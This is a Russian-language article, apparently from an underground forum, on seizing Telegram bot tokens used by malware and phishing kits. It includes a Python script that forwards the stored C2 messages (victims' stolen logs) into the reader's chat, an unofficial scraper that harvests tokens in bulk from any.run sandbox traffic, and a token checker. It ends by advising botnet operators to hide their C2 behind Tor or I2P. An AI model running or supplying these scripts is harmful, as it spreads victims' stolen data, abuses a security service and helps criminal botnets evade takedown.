1. Перехват токена
2. Автоматизация
3. Защита
Перехват токена
У токена телеграм бота нет никаких градаций по привилегиям, токены, в свою очередь в еденичном экземпляре привязаны к телеграм ботам.
Если токен утекает к атакующему, он будет иметь те же привилегии, что и владелец бота, а сам владелец никак не сможет ограничить возможности бота. Единственное что может сделать владелец при утечке - отозвать токен, однако в таком случае, будет необходимо обновить этот токен в приложениях, где он был ранее.
Несмотря на эти проблемы, бесчисленное множество ботнетов и фишинг сайтов используют именно этот метод для своей инфраструктуры.
Обусловлено это тем, что хостинг телеграм бота осуществляется внутри телеграма и бесплатен.
Чтобы получить токен, нет смысла реверсить приложение, достаточно лишь перехватить трафик. Для этого идеально подойдёт http debugger или wireshark (разве что необходимо импортировать сертификаты).
Для фишинга всё ещё проще, ведь для перехвата токена достаточно лишь браузера и просмотра запросов, где и будет лежать токен.
Можно подумать, что /getupdates выдаст сообщения
Это редкость!
Однако он хранит лишь недавние сообщения, получить же всё не выйдет, даже если токен рабочий.
Нужна небольшая хитрость!
Сперва необходимо узнать юзернейм бота, сделать это можно по такому GET запросу (просто открыть ссылку в браузере)
https://api.telegram.org/botTOKEN/getme
Далее необходимо запустить бота, в этом примере, его юзернейм - @bizbotics_bot
Отступление:
телеграм бот не может просто хранить сообщения, ему необходимо их куда-то отправить. В перехваченном запросе всегда будет ID аккаунта/чата/канала владельца C2 (зачастую это личные аккаунты...)
После того как бот будет запущен, в дело идёт этот код:
import requests
import time
TOKEN = " " # ТОКЕН БОТА
src = # АЙДИ ПОЛЬЗОВАТЕЛЯ C2 (который был перехвачен)
dst = # АЙДИ КУДА ПРИНЯТЬ СООБЩЕНИЯ (твой id)
url = f"https://api.telegram.org/bot{TOKEN}/forwardMessage"
for mid in range(1, 10000):
response = requests.get(
url,
params={
"chat_id": dst,
"from_chat_id": src,
"message_id": mid,
},
timeout=20,
)
result = response.json()
if result.get("ok"):
print(f"{mid} переслано")
else:
print(f"{mid} : {result}")
time.sleep(0.1)
Поэтому, благодаря этому коду, бот будет пересылать сообщения по одному в твой чат.
Зачастую, владелец бота может удалять первые сообщения, где он проверяет работоспособность бота, а так же мусорные логи.
Поэтому бот на некоторых сообщениях может выдавать ошибку, что их не существует.
Если же ошибок об отсутствии сообщений слишком много - сообщения в чате закончились (нужно остановить скрипт).
Автоматизация
Есть сервис app.any.run. Пользователи грузят туда файлы. ссылки и всё подряд. Большая часть из этого - малварь.
Сервис выдаёт доступ к виртуальной машине, чтобы юзер мог с этим взаимодействовать.
На этом сайте есть много фильтров, как и активных пользовтелей (новые записи происходят несколько раз за секунду).
Помимо этого, сервис автоматически логирует весь трафик и показывает его содержимое!
Таким образом, менее чем за минуту и с нуля, можно найти подходящую цель (малварь или фишинг) и перехватить токен с id С2
На этом этапе, я изначально хотел перейти к последней части статьи, однако появилась идея автоматизировать добычу ботнетов.
app.any.run предоставляет api только по подписке самого высокого уровня, которую выдают лишь корпам и гос. службам. Даже приобрести подписку просто не выйдет.
Поэтому вот неофициальный API для app.any.run (хоть и писал ИИ, но работает очень хорошо)
# anyrunhttp.py
import argparse
import copy
import json
import os
import re
import secrets
import sys
import time
from collections import deque
from datetime import datetime, timezone
from pathlib import Path
class AnyRunError(Exception):
def __init__(self, label, error=None):
error = error or {}
self.code = error.get("error")
reason = error.get("reason") or error.get("message") or "Connection failed"
super().__init__(f"{label}: {reason}" + (f" [{self.code}]" if self.code else ""))
def id_string(value):
return value if isinstance(value, str) else (value or {}).get("$value")
def oid(value):
return {"$type": "oid", "$value": id_string(value)}
def domain_name(value):
value = str(value or "").strip().lower().rstrip(".")
if not re.fullmatch(r"(?=.{1,253}$)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z0-9-]{2,63}", value):
raise ValueError("Expected a domain, e.g. api.telegram.org")
return value
def task_uuid(value):
match = re.fullmatch(r"(?:https://app\.any\.run/tasks/)?([0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12})/?", str(value).strip(), re.I)
if not match:
raise ValueError("Expected task UUID or https://app.any.run/tasks/<uuid>/")
return match.group(1).lower()
def bounded(value, default, maximum):
if value is None:
return default
if isinstance(value, bool) or not re.fullmatch(r"[0-9]+", str(value)):
raise ValueError(f"Expected integer from 1 to {maximum}")
number = int(value)
if not 1 <= number <= maximum:
raise ValueError(f"Expected integer from 1 to {maximum}")
return number
def iso_time(milliseconds=None):
date = datetime.now(timezone.utc) if milliseconds is None else datetime.fromtimestamp(milliseconds / 1000, timezone.utc)
return date.isoformat(timespec="milliseconds").replace("+00:00", "Z")
def date_value(value):
if not value:
return None
date = datetime.fromisoformat(value.replace("Z", "+00:00"))
if date.tzinfo is None:
date = date.replace(tzinfo=timezone.utc)
return {"$date": int(date.timestamp() * 1000)}
class DDP:
def __init__(self, timeout=30):
self.timeout = timeout
self.ws = None
self.seq = 0
self.queue = deque()
self.collections = {}
def __enter__(self):
try:
import websocket
except ImportError as exc:
raise RuntimeError("Install dependency: python3 -m pip install -r requirements.txt") from exc
try:
url = f"wss://app.any.run/sockjs/{secrets.randbelow(900) + 100}/{secrets.token_hex(8)}/websocket"
self.ws = websocket.create_connection(url, timeout=self.timeout,
origin="https://app.any.run", header={
"Referer": "https://app.any.run/",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
})
self.wait("connect", "DDP connect")
token = os.environ.get("ANYRUN_RESUME_TOKEN")
if token:
self.call("login", {"resume": token})
return self
except BaseException:
self.close()
raise
def close(self):
if self.ws:
try:
self.ws.close(timeout=1)
except Exception:
pass
self.ws = None
def __exit__(self, *args):
self.close()
def send(self, message):
if self.ws is None:
raise ConnectionError("WebSocket is not connected")
self.ws.send(json.dumps([json.dumps(message, ensure_ascii=False)], ensure_ascii=False))
def frame(self, frame):
if isinstance(frame, bytes):
frame = frame.decode("utf-8")
if frame == "o":
self.send({"msg": "connect", "version": "1", "support": ["1"]})
elif frame == "h":
return
elif not frame or frame.startswith("c"):
raise ConnectionError("SockJS connection closed")
elif frame.startswith("a"):
self.queue.extend(json.loads(raw) for raw in json.loads(frame[1:]))
else:
raise RuntimeError("Unexpected SockJS frame")
def wait(self, target, label):
deadline = time.monotonic() + self.timeout
while True:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError(f"{label}: timeout after {self.timeout} s")
if not self.queue:
self.ws.settimeout(remaining)
self.frame(self.ws.recv())
continue
message = self.queue.popleft()
kind = message.get("msg")
if kind == "ping":
self.send({"msg": "pong", **({"id": message["id"]} if "id" in message else {})})
elif kind in ("added", "changed", "removed"):
docs = self.collections.setdefault(message["collection"], {})
key = message["id"]
if kind == "removed":
docs.pop(key, None)
else:
doc = {**docs.get(key, {}), **message.get("fields", {}), "_id": key}
for cleared in message.get("cleared", []):
doc.pop(cleared, None)
docs[key] = doc
elif kind == "connected" and target == "connect":
return message
elif kind in ("failed", "error"):
raise AnyRunError(label, message)
elif kind == "result" and message.get("id") == target:
if message.get("error"):
raise AnyRunError(label, message["error"])
return message.get("result")
elif kind == "ready" and target in message.get("subs", []):
return target
elif kind == "nosub" and message.get("id") == target:
raise AnyRunError(label, message.get("error") or {"reason": "Subscription stopped before ready"})
def call(self, name, *params):
self.seq += 1
key = f"m{self.seq}"
self.send({"msg": "method", "method": name, "params": list(params), "id": key})
return self.wait(key, name)
def subscribe(self, name, *params):
self.seq += 1
key = f"s{self.seq}"
self.send({"msg": "sub", "name": name, "params": list(params), "id": key})
self.wait(key, name)
return key
def unsubscribe(self, key):
self.send({"msg": "unsub", "id": key})
def docs(self, name):
return list(self.collections.get(name, {}).values())
class AnyRunClient:
def __init__(self, timeout=30, pause=0.3):
self.timeout = timeout
self.pause = pause
def session(self):
return DDP(self.timeout)
def search(self, query, *, max_tasks=50, cursor=None, from_date=None, to_date=None):
domain = domain_name(query)
max_tasks = bounded(max_tasks, 50, 10000)
dates = [date_value(from_date), date_value(to_date)]
if all(dates) and dates[0]["$date"] > dates[1]["$date"]:
raise ValueError("--from must precede --to")
if cursor is not None and not isinstance(cursor, list):
raise ValueError("--cursor must be the JSON array returned as nextCursor")
with self.session() as ddp:
items, seen, cursors = [], set(), set()
next_cursor, total, exhausted, limited = cursor, None, False, False
while len(items) < max_tasks:
params = {"hash": "", "runtype": [], "extension": [], "country": "", "verdict": [],
"threatName": "", "fileHash": "", "domain": domain, "ip": "", "mitreId": "", "sid": "",
"url": "", "dateRange": dates}
if next_cursor:
params["cursor"] = next_cursor
result = ddp.call("getAnalysisPublicAdvancedTi", params)
if not isinstance(result, dict) or not isinstance(result.get("items"), list):
raise RuntimeError("Search response schema changed: missing items")
total = result.get("totalHits", total)
for item in result["items"]:
key = item.get("uuid") or id_string(item.get("_id"))
if not key:
raise RuntimeError("Search item missing task identifier")
if key not in seen:
seen.add(key)
items.append(item)
next_cursor = result.get("nextCursor") or None
if not result["items"] or not next_cursor:
exhausted = True
break
key = json.dumps(next_cursor, sort_keys=True)
if key in cursors:
raise RuntimeError("Repeated search pagination cursor")
cursors.add(key)
if len(items) >= max_tasks:
limited = True
break
time.sleep(self.pause)
overflow = items[max_tasks:]
return {"query": domain, "totalHits": total, "items": items[:max_tasks], "overflow": overflow,
"nextCursor": next_cursor, "exhausted": exhausted and not overflow,
"limitReached": limited or bool(overflow)}
@staticmethod
def get_task(ddp, uuid):
task = ddp.call("getTaskByUUID", uuid)
if not isinstance(task, dict) or not task.get("_id"):
raise RuntimeError("Task not found or not accessible")
return task
def task(self, value):
uuid = task_uuid(value)
with self.session() as ddp:
return self.get_task(ddp, uuid)
def requests(self, value, *, host=None, side="request", max_requests=1000, max_body_bytes=262144):
uuid = task_uuid(value)
domain = domain_name(host) if host else None
if side not in ("request", "response", "both", "none"):
raise ValueError("Invalid side")
max_requests = bounded(max_requests, 1000, 10000)
max_body_bytes = bounded(max_body_bytes, 262144, 262144)
sides = ["request", "response"] if side == "both" else [] if side == "none" else [side]
with self.session() as ddp:
task = self.get_task(ddp, uuid)
task_id = id_string(task["_id"])
limit, subscription = min(50, max_requests), None
while True:
previous = subscription
subscription = ddp.subscribe("requests-analysis", {"limit": limit, "taskId": task_id,
"searchParam": domain or "", "hideWhitelisted": False})
rows = [row for row in ddp.docs("requests-analysis") if id_string(row.get("task")) == task_id]
if previous:
ddp.unsubscribe(previous)
exhausted = len(rows) < limit
if exhausted or limit >= max_requests:
break
limit = min(limit + 50, max_requests)
time.sleep(self.pause)
rows.sort(key=lambda row: ((row.get("time") or {}).get("$date", 0), row["_id"]))
rows = [row for row in rows if not domain or str(row.get("host", "")).lower() == domain]
requests, cache = [], {}
for row in rows[:max_requests]:
stamp = (row.get("time") or {}).get("$date")
code = row.get("code")
item = {"id": row["_id"], "uuid": row.get("id"), "method": row.get("method"),
"url": row.get("request"), "host": row.get("host"),
"statusCode": int(code) if str(code).isdigit() else None,
"time": iso_time(stamp) if stamp is not None else None,
"process": {"name": row.get("processName"), "pid": row.get("processPid")},
"bodies": {}, "raw": copy.deepcopy(row)}
body_metadata = row.get("body") or {}
needed = [s for s in sides if (body_metadata.get(s) or {}).get("size", 0) > 0]
for s in sides:
if s not in needed:
item["bodies"][s] = {"status": "empty", "size": 0, "text": None, "json": None}
if needed:
content = ddp.call("getContentHeads", task["_id"], {"type": "parent", "searchParam": oid(row["_id"])})
if not isinstance(content, dict) or not all(isinstance(content.get(k), list) for k in ("entries", "heads")):
raise RuntimeError("Content response schema changed")
for s in needed:
entry = next((e for e in content["entries"] if e.get("type") == f"HTTP_{s.upper()}" and id_string(e.get("parent")) == row["_id"]), None)
head = next((h for h in content["heads"] if entry and id_string(h.get("_id")) == id_string(entry.get("head"))), None)
data = (head or {}).get("data") or {}
size = data.get("size", body_metadata[s]["size"])
if not data.get("gridfs") or data.get("removed"):
item["bodies"][s] = {"status": "unavailable", "size": size, "text": None, "json": None}
continue
if not (data.get("preview") or {}).get("text"):
item["bodies"][s] = {"status": "not_text", "size": size, "text": None, "json": None}
continue
key = id_string(data["gridfs"])
if key not in cache:
text = ddp.call("getTextPreview", {"id": data["gridfs"], "taskId": task["_id"],
"from": 0, "len": min(size, max_body_bytes)})
if not isinstance(text, str):
raise RuntimeError("Preview response schema changed: expected text")
cache[key] = text
time.sleep(self.pause)
text = cache[key]
try:
parsed = json.loads(text)
except ValueError:
parsed = None
item["bodies"][s] = {"status": "truncated" if size > max_body_bytes else "ok", "size": size,
"entryId": id_string(entry["_id"]), "headId": id_string(head["_id"]),
"sha256": (data.get("hashes") or {}).get("sha256"), "text": text, "json": parsed}
requests.append(item)
return {"taskUuid": uuid, "taskUrl": f"https://app.any.run/tasks/{uuid}/", "host": domain,
"side": side, "count": len(requests), "limitReached": not exhausted,
"maxBodyBytes": max_body_bytes, "requests": requests}
def collect(self, query, *, max_tasks=10, cursor=None, from_date=None, to_date=None, **request_options):
domain = domain_name(query)
search = self.search(domain, max_tasks=max_tasks, cursor=cursor, from_date=from_date, to_date=to_date)
reports, errors = [], []
for item in search["items"]:
try:
reports.append(self.requests(item.get("uuid"), host=domain, **request_options))
except Exception as error:
errors.append({"taskUuid": item.get("uuid"), "error": str(error)})
if str(getattr(error, "code", "")) in ("401", "403", "429"):
break
time.sleep(self.pause)
return {"query": domain, "collectedAt": iso_time(),
"search": {"totalHits": search["totalHits"], "selected": len(search["items"]),
"nextCursor": search["nextCursor"], "overflow": search["overflow"], "limitReached": search["limitReached"]},
"complete": not errors and len(reports) == len(search["items"]), "reports": reports, "errors": errors}
def main(argv=None):
parser = argparse.ArgumentParser(description="ANY.RUN unofficial CLI — search and export HTTP bodies.",
epilog="Example: python3 cli.py collect api.telegram.org --max-tasks 10 --out result.json")
parser.add_argument("command", choices=["search", "task", "requests", "collect", "uuids"])
parser.add_argument("value", help="Domain for search/collect/uuids; task UUID or URL for task/requests")
parser.add_argument("--host", help="Exact HTTP host filter for requests")
parser.add_argument("--side", choices=["request", "response", "both", "none"], default="request")
parser.add_argument("--max-tasks", help="Default: 10 collect / 50 search; maximum 10000")
parser.add_argument("--max-requests", default="1000")
parser.add_argument("--max-body-bytes", default="262144")
parser.add_argument("--from", dest="from_date", help="ISO date; no timezone means UTC")
parser.add_argument("--to", dest="to_date", help="ISO date; no timezone means UTC")
parser.add_argument("--cursor", help="JSON nextCursor; consume overflow before resuming")
parser.add_argument("--out", type=Path, help="UTF-8 JSON output file; otherwise stdout")
args = parser.parse_args(argv)
try:
request_options = {"side": args.side, "max_requests": bounded(args.max_requests, 1000, 10000),
"max_body_bytes": bounded(args.max_body_bytes, 262144, 262144)}
search_options = {"max_tasks": bounded(args.max_tasks, 10 if args.command == "collect" else 50, 10000),
"from_date": args.from_date, "to_date": args.to_date, "cursor": json.loads(args.cursor) if args.cursor else None}
client = AnyRunClient()
if args.command == "task":
result = client.task(args.value)
elif args.command == "requests":
result = client.requests(args.value, host=args.host, **request_options)
elif args.command == "uuids":
result = client.search(args.value, **search_options)
for item in result["items"]:
uuid = item.get("uuid") or id_string(item.get("_id"))
if uuid:
print(uuid)
return 0 if result["items"] else 2
elif args.command == "search":
result = client.search(args.value, **search_options)
else:
result = client.collect(args.value, **search_options, **request_options)
text = json.dumps(result, ensure_ascii=False, indent=2) + "\n"
if args.out:
args.out.write_text(text, encoding="utf-8")
print(f"Saved {args.out}", file=sys.stderr)
else:
sys.stdout.write(text)
return 2 if result.get("complete") is False else 0
except KeyboardInterrupt:
print("Interrupted", file=sys.stderr)
return 130
except Exception as error:
print(f"Error: {error}", file=sys.stderr)
return 1
if __name__ == "__main__":
if hasattr(sys.stdout, "reconfigure"):
sys.stdout.reconfigure(encoding="utf-8")
raise SystemExit(main())
Иногда, токены ботов могут быть неправильными или истёкшими.
Для фильтрации и проверки:
# testtoken.py
import json
import re
import sys
import urllib.request
from urllib.parse import parse_qs, unquote
from collections import defaultdict
TOKEN_RE = re.compile(r"/bot([0-9]{6,12}:[A-Za-z0-9_-]{20,})/", re.IGNORECASE)
def extract_bot_token(url):
if not isinstance(url, str):
return None
match = TOKEN_RE.search(url)
return match.group(1) if match else None
def extract_chat_id_from_value(value):
if value is None:
return None
if isinstance(value, dict):
chat_id = value.get("chat_id")
if chat_id is not None:
return str(chat_id)
return None
if not isinstance(value, str):
return None
text = value.strip()
if not text:
return None
try:
parsed = json.loads(text)
except (json.JSONDecodeError, TypeError, ValueError):
parsed = None
if isinstance(parsed, dict):
chat_id = parsed.get("chat_id")
if chat_id is not None:
return str(chat_id)
values = parse_qs(text, keep_blank_values=True)
if values.get("chat_id"):
return values["chat_id"][0]
match = re.search(r"(?:^|[?&\s{,])['\"]?chat_id['\"]?\s*[:=]\s*['\"]?(-?\d+)", text, re.IGNORECASE)
return match.group(1) if match else None
def extract_chat_id_from_url(url):
if not isinstance(url, str):
return None
try:
if "?" not in url:
return None
query = url.split("?", 1)[1]
query = unquote(query)
values = parse_qs(query, keep_blank_values=True)
if values.get("chat_id"):
return values["chat_id"][0]
except Exception:
pass
return None
def extract_chat_id(request):
chat_id = extract_chat_id_from_url(request.get("url"))
if chat_id is not None:
return chat_id
bodies = request.get("bodies") or {}
for side in ("request", "response"):
body = bodies.get(side) or {}
for key in ("json", "text"):
chat_id = extract_chat_id_from_value(body.get(key))
if chat_id is not None:
return chat_id
return None
def iter_requests(data):
if isinstance(data, list):
for item in data:
if isinstance(item, dict):
yield item
return
if not isinstance(data, dict):
return
if isinstance(data.get("requests"), list):
for item in data["requests"]:
if isinstance(item, dict):
yield item
reports = data.get("reports")
if isinstance(reports, list):
for report in reports:
if not isinstance(report, dict):
continue
requests = report.get("requests")
if isinstance(requests, list):
for item in requests:
if isinstance(item, dict):
yield item
def load_json(path=None):
if path:
with open(path, "r", encoding="utf-8") as file:
return json.load(file)
return json.load(sys.stdin)
def is_valid_token(token: str) -> bool:
url = f"https://api.telegram.org/bot{token}/getMe"
try:
with urllib.request.urlopen(url, timeout=5) as resp:
data = json.load(resp)
ok = bool(data.get("ok"))
return ok
except Exception as e:
return False
def main():
if len(sys.argv) > 1 and sys.argv[1] in ("-h", "--help"):
print(__doc__)
return 0
data = load_json(sys.argv[1] if len(sys.argv) > 1 else None)
print("bot_token,chat_id")
rows = []
for request in iter_requests(data):
token = extract_bot_token(request.get("url"))
if not token:
continue
chat_id = extract_chat_id(request) or ""
rows.append((token, chat_id))
by_token = defaultdict(set)
for token, chat_id in rows:
by_token[token].add(chat_id)
for token, chat_ids in by_token.items():
if not is_valid_token(token):
continue
non_empty = sorted(c for c in chat_ids if c)
if non_empty:
print(token + "," + ",".join(non_empty))
else:
print(f"{token},")
return 0
if __name__ == "__main__":
sys.exit(main())
Чтобы найти токены и отфильтровать:
python3 anyrunhttp.py collect api.telegram.org --max-tasks 1000 > collect.jsoncat collect.json | python3 testtoken.py > valid.txtВ valid.txt будут токены и id c2 в том же формате, что я опубликовал в раздаче (https://darklimb.vip/threads/8069/)
Защита
Тут всё очень просто!
Для того чтобы избежать чтения логов - можно использовать асимметричное шифрование (это актуально для любых C2).
Однако в конечном счёте, сообщения могут быть удалены. Защиту от этой проблемы без использования сервера сделать невозможно.
Я предлагаю использовать децентрализованные сети: i2p, tor, yggdrasil, freenet.
Адрес и ключи будут заданы изначально, а для доступа можно в любой момент подключиться и собрать логи. При этом, кража логов или блокировки будут невозможны.
На гитхабе уже существует множество реализаций этого подхода в различных ботнетах.
На этом всё!
На все вопросы по статье отвечу в комментах. Если проблема с настройкой, лучше спросить тут а не в ЛС - больше пользователей поймёт как решить проблему.
LIMB